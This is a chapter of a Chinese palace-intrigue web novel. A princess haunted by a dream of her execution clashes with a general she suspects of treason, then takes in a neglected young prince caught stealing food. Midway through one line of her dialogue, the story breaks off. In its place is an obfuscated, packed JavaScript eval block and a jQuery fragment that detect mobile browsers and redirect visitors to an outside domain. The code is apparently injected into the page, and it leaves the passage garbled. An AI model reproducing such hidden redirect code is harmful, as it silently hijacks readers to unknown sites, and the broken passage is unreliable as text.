好好的一盘棋,让路司遥全毁了,偏生他还不能说什么。
路司遥眼眸带笑地等着他回击,甚至拖着下巴一脸真诚地看着他,可楼廓,并没有露出一丝不满。
他只是……
将路司遥散乱了的一盘棋,一粒粒地捡了起来,慢条斯理的模样,好似路司遥不存在。
路司遥眼底的笑意慢慢淡去,甚至还危险地眯起,冷冷睨着楼廓。
她说不想棋局分了他心,他便在她面前将她忽视了个彻底。
路司遥不然嗤笑一声:“我说楼廓,你是眼睛不好使吗?”
本宫这么一个美人在他面前,他是怎么做到犹如一个呆子的。
“殿下有事便直说吧,微臣洗耳恭听。”他一边捡着棋子,一边说道。
修长的指尖一下又一下掠过棋盘,也一次次的撞入路司遥的眼帘。
路司遥皱眉,忽然开口:“金喜银顺,进来帮楼将军收拾棋盘。”
男人指尖动作一顿,门口候着的两个丫鬟也起身进屋,得了路司遥的指令,不消片刻便将棋盘收拾得不剩一颗棋子。
然后又退了出去。
拖了这么久,路司遥终于是进入正题。
“楼将军凯旋而归,想必近来应该也无要事,我阿弟宫中缺一个传授武艺的老师,不知楼将军愿不愿意入宫授课?”
想叫楼廓教路简修武艺,其实是路司遥来这的路上临时起意,本来找他是寻麻烦来的,想来想去,脑子里忽然冒出了这个念头。
既然楼廓注定是反贼,那自己何不借机抓到他和南成王密谋的证据,届时父皇一道圣旨,便可铲除这个隐患,自己也可高枕无忧了。
若是能让楼廓常来宫中,她与之天天碰面,总会漏出马脚的吧。
所以惹事便成了请他当太子太傅。
对面的人听到路司遥如此说,先是一默,然后毫不犹豫地拒绝:“微臣久居军营,有的都是行军打仗方面的要领,至于教人武艺,倒是有将新兵训得体无完肤的时候,所以训人不知轻重,怕是担不起教太子的重任,殿下还是另请高明。”
“若是本宫执意要你教呢?”
似乎每次和楼廓谈事都未得个好结果,路司遥也有些恼火了。
“恕难从命。”
这一次,楼廓也拒绝得很干脆,冷硬地拂了路司遥的面子。
说完,楼廓便想起身离开。
可路司遥又怎会就此放过他,忽然又转了一个话题。
“听闻楼将军好事将近,家中已经给你安排了一位适龄女子,还是名冠京城的才女。”路司遥说着,缓缓起身,绕着石桌,走至楼廓身侧,身子一侧,微倚着石桌,又道,“所以,楼将军这是忙着家里的婚事,便推拒了本宫的请求?”
随着她的靠近,一股淡淡的幽香无声飘来,加之她身姿袅娜,恍惚近若眼前。
一股被人拨动的燥意忽然涌现他的心头。
人人都说他凶神恶煞,不敢招惹,可唯有她,不知死活。
知道她靠近定是别有用心,可不管她出于什么目的,他都不想让自己再萌生不该有的妄念,所以他已经在克制和退让,为何还要招惹,难道他看着如此好说话吗?
“殿下当真神机妙算。”楼廓忽然起身,原本端坐着低人一等的气势忽然拔高,居高临下看着路司遥,“家中表妹近日要学骑马,楼某也已经答应了亲自教,所以真是抽不开身。若是陛下当真有意叫楼某教太子殿下武艺,陛下下旨便可,若是殿下私心想楼某给太子殿下授课,楼某恕难从命。”
路司遥怔怔抬眸看他。
楼廓却不给她反应的机会,先一步行礼告退了。
他大步流星离去,人已经出门了,路司遥才反应过来,自己似乎是被人甩脸色了。
说不生气,那是假的,可她又不能对反贼做什么,或许是知道楼廓以后会和南成王一起屠杀皇族,所以她心里多少对他还是有些忌惮。
先前他一副闷葫芦模样,倒让她以为自己占了先机,让这个男人对自己生出一点怜悯之心来,看来是自己的错觉了。
路司遥啊路司遥,你的美色,也有失灵的时候。
她冷笑了一下,快步追了出去。
好在男人走得快但不至于让她追不上。
见她追了出来,楼廓有一瞬放慢了脚步,可转瞬又加快了速度。
路司遥却已经追了上来,她笑着歪着头,朝着楼廓身侧不轻不重说了一句:“你虽凶了本宫,但本宫人美心善还是想提醒你一句。”
“那虞小姐,可不是什么良家子。”
楼廓皱眉,侧头看她,却见她笑若桃花,宛若翩跹的蝴蝶,轻快地飞走了。
直至离开很远,路司遥的脸色才彻底冷了下来。
克制许久的脾气终于爆发,身边两个宫女都不敢吱声。
有一说一,公主殿下虽然脾气不好,但只要不撞在枪口上,便不会有事,毕竟过一会,殿下就自己消化情绪了。
只是,今日被楼将军惹出来的怒火,似乎没那么容易平息。
路司遥脚步较平日快,本就有些不熟的皇宫一隅,根本就没有给宫女指路的机会,被她脚步一带,顺去了更偏僻的小路了。
傻傻的金喜和银顺,还以为殿下只是想走走路消消火。
三人正走着,原本无人的石头小路终于看见了几个人影。
三个身着灰色宫服的太监正围打成一团。
路司遥等人再走进一步,才发现,被压在最下面的那个小太监,还是个半大的孩子。
“住手。”路司遥冷声呵斥。
前面的压在小孩身上的两名太监停下动作,见到路司遥之后赶忙起身行礼,跪趴在地上不敢抬头。
地上那名年纪最小的小太监,见那二人犹如一条狗一般跪趴在那,居然直接起身,朝着那二人的脑袋,左一拳右一脚,狠狠打了回去。
“狗东西,敢欺负老子,打死你们。”他一边说着,一边骂着,声音洪亮。
金喜银顺急忙上前阻挠,好在小孩也没有继续打,而是痛骂了两句以后,扶了一下自己歪斜的帽子,看向路司遥,却也不行礼。
银顺呵斥:“大胆,见到公主殿下为何不行礼。”
此刻小孩正了一下服侍,路司遥才看清他的容貌,粉雕玉琢的,长得还挺好看,可惜年纪轻轻,居然就入宫当了太监。
小孩也大胆回视路司遥,然后冷哼一声:“公主殿下又如何,我还是皇子呢!”
“小兔崽子,当真是嫌活太久了,偷膳食居的吃食也就罢了,还敢妄言,待会拔了你的舌头。”
跪在路司遥左侧的太监发出阴冷的声音,似恨不得撕烂那小太监。
听他这么一说,路司遥瞬间明白发生什么了,想必是这小太监偷了宫里的吃食,被这二人发现了,所以一顿收拾。
“缺斤少两的脏东西,你们也配动我。”
“够了。”路司遥冷冷开口阻止,“东西也吃了,人也打了,也算两清了,退下吧。”
三人错愕,没想到在他们眼中这么愤愤不平的事,被人轻飘飘的一句话揭过了,但……好像也不能反驳什么。
跪在地上的两个太监谢恩离去,心里满是好奇,娇蛮的公主殿下怎么就放过了那小子了呢。
临走前,二人一人一个眼刀,狠狠瞪了一眼那小子一眼。
见那二人走了,那小子也拂了拂衣袖,打算就此离开。
“站住,本宫没叫你走呢。”
正走了两步的路成忽然刹住脚步,回头看路司遥,问:“干什么?”
路司遥笑着走了过去:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178182|180821||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他们打了一个偷吃膳食的小太监,不是什么重罪,而你,无视宫中规矩,还对本宫无礼,可是死罪,他们走得了,你可走不了。”
小孩仰头看路司遥,干瘦又白得没什么血色的小脸一脸的不屑:“我不是宫里的太监。”
路司遥也注意到了,他那一身不合身的太监服。
她问:“那你是何人?又如何证明你的身份。”
小孩一默,半晌梗着脖子硬气道:“证明不了,我确实偷东西了,也对你无礼了,你想把我怎么着就怎么着吧。”
语气虽硬,但那双乌黑的眼眸中,带着一股不易察觉的委屈与悲壮,一副视死如归的模样。
路司遥看着他,忽然噗嗤一声笑了,道:“叫声皇姐听听。”
闻言,路成一愣,眼底瞬间泛起了红,语气闷闷道:“我证明不了我是皇子。”
“可我信你是皇子。”
这话轻飘飘的,却瞬间暖化了路成的心。
他低着头,忽然像做错事情的孩子,低声道:“我、实在是饿得不行了才偷吃东西的,我找到膳食居,说我是皇子,他们不信,所以我就打晕了一个小太监,偷了他的衣裳,悄悄潜入膳食居,但我也只是拿了两个糖心馒头,他们两个便追着我不放。”
走一路,似乎是走得有些累了,恰好,不远处有一块绿油油的草坪,路司遥干脆走了过去,也顺道招呼路成一起,于是便有了一位美人和一个半大的孩子坐在草地上,促膝长谈的画面。
不一会,路成面前多了一盘鸡,一盘肉,还有五个大肉包子。
他一边吃,一边听路司遥说话。
“以后没东西吃,别去偷了。”
两腮鼓鼓的路成道:“可他们看不起我,不给我吃的。我娘亲死后,更没人给我送吃的了。”
“宫里皇子似乎有三十二个了,你排第几?”
实在不能怪路司遥健忘,实在是她父亲太滥情,她的弟弟妹妹,太多了,有一些,她甚至都没见过,好比眼前这位。
“不知道。”
路司遥侧眸看他,许久没有说话,然后又问了一句:“你住哪?”
“冷宫啊。”
“哪个宫?”
“清菊宫。”
这个地方,路司遥略有耳闻,但从未去过,那似乎是一位由宫女升上来的贵嫔住的地方,所以名字也取的轻简。
路司遥摸着他的小脑袋,柔声道:“小十九,路成,是不是?”
路成一愣,眼眼睛亮亮地看着路司遥。
“我是路司遥,你大姐姐。”
听到这话,路成又低头吃饭了,一副吃了这顿没下顿的架势,狼吞虎咽。
“你今日是我姐姐,明日不一定是。我阿娘说,最是无情帝王家,普通百姓的兄妹相亲相爱,帝王家的兄弟姐妹,互相残杀。”
路司遥忽然一笑:“你说得也对哦,但看在你叫我一声姐姐的份上,以后我保你衣食无忧。”
“不要。”路成居然拒绝了,“天下没有掉馅饼的事情,如果突然天降好运,福祸相依,或许也会有不好的事情发生。”
此刻,换路司遥震惊了。
他怎么就知道自己是个灾星呢?
梦里,她因为和父皇,皇弟关系较亲,平日里也是胡作非为,所以被处死的时候,也被安了一个祸国殃民的罪名,那些和自己关系不错的皇子皇女也一并被抹了脖子。
相反那些不得宠的皇女皇子,似乎……只是被暂时关押了。
等等!
如果自己现在造福百姓,行善积德,会不会以后不会死得那么惨。
水能载舟亦能覆舟。
祸国殃民是自己作出来的,如果反其道而行,南成王和楼廓又有什么理由处死自己,最惨,也不过沦为平民,性命定然无忧。